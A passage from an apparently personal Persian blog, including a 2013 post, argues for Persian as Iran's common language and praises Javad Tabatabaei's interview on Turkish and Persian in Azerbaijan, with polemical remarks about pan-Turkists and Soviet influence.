زندیه و افشاریه و قاجار، در ایران خصومت با ترکی مطرح نبوده است. ولی عثمانیها همواره خصومت ورزیده اند. آتا ترک نبود که با رضا شاه فارسی حرف می زد بلکه رضا شاه بود که با او ترکی حرف می زد. ترکی بیش و پیش از این که زبان عثمانیها باشد زبان ایرانیها بوده است و به همین جهت ایرانیها هیچ وقت سعی نکردند مثل عثمانی ها ترکی زدائی کنند. چطور می¬توانستند با ترکی خصومت داشته باشند در حالی که دربار آنها ترک زبان بود و نویسندگان و شعرا و متفکران آنها در خانه و بیرون خانه به ترکی سخن می¬گفتند. جوانهایی که در آذربایجان از “امپریالیسم زبان فارسی” سخن می گویند و مسئلۀ ترکی و فارسی را دامن می زنند و می خواهند حیثیتی برای ترکی و فرهنگ ترکی بدون فارسی تعریف کنند نادانسته وارد دعوایی می شوند که دیگران راه انداختند، سلیمان قانونی و جانشینهای وی و در قرن گذشته فرقۀ دموکرات و طرفداران او و الان هم غلام اوفها و نوکراوفهای مسکو. ترکهای آذربایجان لازم نیست به ترکی منهای فارسی بیندیشند و ناراحت شوند از این که یکی از خودشان می¬گوید استادان و متفکران سرزمینهایی که تحت نفوذ بیگانگان فارسی¬زدائی کرده-اند نشان داده اند که سوادشان از یک دهاتی تبریزی پائین تر است. باید از خود بپرسند چرا؟ این البته مبالغه است و مثل خیلی از مبالغه ها غیر منصفانه، ولی در همین مبالغه هم نکته ای نهفته است. چرا آذربایجانیهای ما با فرهنگ تر از مردمان آن طرف رود ارس اند؟ برای این که آذربایجان هنوز وصل به گذشتۀ فرهنگی خویش است. برای این که تبریز همیشه تبریز بوده و هیچ وقت استالین شهر و لنین آباد نشده است. برای این که زبان مادری تبریز ترکی است ولی زبان پدری و فرهنگی او قرنهاست که فارسی است. فاصلۀ زبان ترکی و زبان فارسی برای فرزندان آذربایجانی ما سه چهار سال بیشتر نیست. اول ترکی یاد می گیرند و بعداً فارسی ا. فارسی زبان آذربایجان است و آذربایجان نسبت به گذشتۀ این زبان و ذخائر فرهنگی آن همان قدر حق دارد که خراسانیها و رشتیها و کرمانیها و یزدیها و اصفهانیها و شیرازیها.

  10. مسئلۀ زبان ترکی

    July 4, 2013 by daanial

    مصاحبۀ مجلۀ مهر نامه را با سید جواد طباطبائی می خواندم. بسیار لذت بردم، به خصوص از اوائل آن که در بارۀ دوران کودکی خود در تبریز و فارسی آموختنش سخن گفته بود. طباطبائی کسی است که زبان مادریش ترکی است و هم اکنون یکی از متفکران تاریخ و فلسفۀ علم سیاست و از نویسندگان خوش قلم زبان فارسی است ولی از زبان فارسی و آموزش همگانی آن در مدارس دفاع می کند. و من خوشحالم از این که زمانی نخستین مقاله های او را در نشر دانش چاپ کردم و همین سبب آشنایی ما با هم شد. بیست و شش سال پیش که من مقالۀ ایران مظلوم را نوشتم و در انتقاد از کتاب دکتر هیئت گفتم که ما در ایران باید زبان فارسی را به عنوان زبان رسمی و همگانی خود حفظ کنیم. بعضی ها به من انتقاد کردند و در طول این سالها من گاهی به استدلالهای دیگران گو ش کردم و حتی زمانی خیال کردم تدریس به زبانهای محلی در دوره های نخستین سواد آموزی شاید مفید باشد. ولی دوست من طباطبائی چیز دیگری می گوید. طباطبائی کسی است که تا ده سالگی نمی توانسته است به فارسی حرف بزند. برای عمویش روزنامه های فارسی می خوانده و خودش درست مطلب را نمی فهمیده است، و وقتی مصاحیه گر از او می پرسد که آیا باید برای بچه ها سواد آموزی را به زبانهای محلی آغاز کرد یا نه، می گوید نه، باید فارسی به آنها یاد داد. طباطبائی متفکری است شجاع و ایران دوست که وقتی از او در بارۀ هویتش سؤال می کنند می گوید که من در درجۀ اول ایرانی ام و بعد آذربایجانی و ترک زبان. او حتی در درجۀ اول خودش را ایرانی ای می داند متعلق به فرهنگ فارسی . او به حال من و امثال من که هیچ یک از زبانهای محلی از جمله ترکی را نمی دانیم افسوس می خورد. و حق هم دارد. من سالهاست که افسوس می خورم چرا وقتی در کشوری زندگی می کردم که یکی از زبانهای مردم آن ترکی است و من در مدرسه و دانشگاه با برک زبانان بسیاری دوست بودم و استادان و دانشجویان ترک زبان داشتم ترکی نیاموختم. من گمان می کنم که زبانهای محلی، به خصوص ترکی را، بد نیست که در دانشگاهها به صورت درس اختیاری بگذاریم، نه برای متکلمان به آن زبانها، از قبیل ترک زبانها و کرد ها ، بلکه برای کسانی که این زبانها را نمی دانند، مثل فارسها، و مایلند آن را بیاموزند. ما باید از آن ترسی که فرقۀ دموکرات ایجاد کرد بیرون بیائیم و بعضی ها هم بهتر است خواب تجزیه کشور را به بهانۀ دفاع از زبان محلی نبینند . امروز بزرگترین دشمنان زبان ترکی در ایران پان ترکیستها هستند. طباطبائی در این مصاحبه در بارۀ فرقۀ دموکرات هم سعی کرده است منصفانه سخن گوید و به بعضی از خدمات فرهنگی آنان اشاره کند. به نظرم مجلۀ مهرنامه با این مصاحبه نشان داده است که راه صحیح برای روبرو شدن با مسئلۀ زبانهای محلی چگونه باید باشد. مسئلۀ زبانهای محلی مسئله ایست فرهنگی و آموزشی و باید با آن به عنوان مسئلۀ فرهنگی و آموزشی برخورد کرد نه به عنوان مسئلۀ سیاسی و امنیتی، البته اگر برخی از همسایگان و ایادی آنها در کشور بگذارند.